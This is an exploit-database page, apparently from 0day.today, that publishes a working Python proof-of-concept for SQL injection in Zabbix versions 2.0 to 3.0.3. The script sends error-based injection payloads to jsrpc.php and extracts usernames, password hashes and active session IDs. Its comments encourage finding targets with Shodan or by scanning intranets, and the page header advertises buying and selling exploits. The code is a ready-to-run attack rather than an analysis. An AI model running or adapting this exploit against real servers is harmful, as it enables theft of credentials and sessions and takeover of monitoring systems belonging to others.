0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zabbix 2.0 < 3.0.3 - SQL Injection
# Exploit Title: 2.0 < Zabbix < 3.0.4 SQL Injection Python PoC # Data: 20-08-2016 # Software Link: www.zabbix.com # Exploit Author: Unknown(http://seclists.org/fulldisclosure/2016/Aug/82) # Version: Zabbix 2.0-3.0.x(<3.0.4) # PoC Author: Zzzians # Contact: Zzzians@gmail.com # Test on: Linux (Debian/CentOS/Ubuntu) # -*- coding: utf_8 -*- # Use Shodan or and enjoy :) # Comb the intranet for zabbix and enjoy :) import sys,os,re,urllib2 def Inject(url,sql,reg): payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" try: response = urllib2.urlopen(payload, timeout=20).read() except Exception, msg: print '\t\tOpps,an error occurs...',msg else: result_reg = re.compile(reg) results = result_reg.findall(response) print payload #Uncomment this to see details if results: return results[0] def exploit(url,userid): passwd_sql = "(select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT "+str(userid-1)+",1),floor(rand(0)*2))x from information_schema.tables group by x)a)" session_sql="(select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid="+str(userid)+" LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" password = Inject(url,passwd_sql,r"Duplicate\s*entry\s*'(.+?)~~") if(password): print '[+]Username~Password : %s' % password else: print '[-]Get Password Failed' session_id = Inject(url,session_sql,r"Duplicate\s*entry\s*'(.+?)~") if(session_id): print "[+]Session_id:%s" % session_id else: print "[-]Get Session id Failed" print '\n' def main(): print '=' * 70 print '\t 2.0.x? < Zabbix < 3.0.4 SQL Inject Python Exploit Poc' print '\t\t Author:Zzzians(Zzzians@gmail.com)' print '\t Reference:http://seclists.org/fulldisclosure/2016/Aug/82' print '\t\t\t Time:2016-08-20\n' urls = ["http://10.15.5.86"] ids = [1,2] for url in urls: if url[-1] != '/': url += '/' print '='*25 + url + '='*25 for userid in ids: exploit(url,userid) main() # 0day.today [2024-11-16] #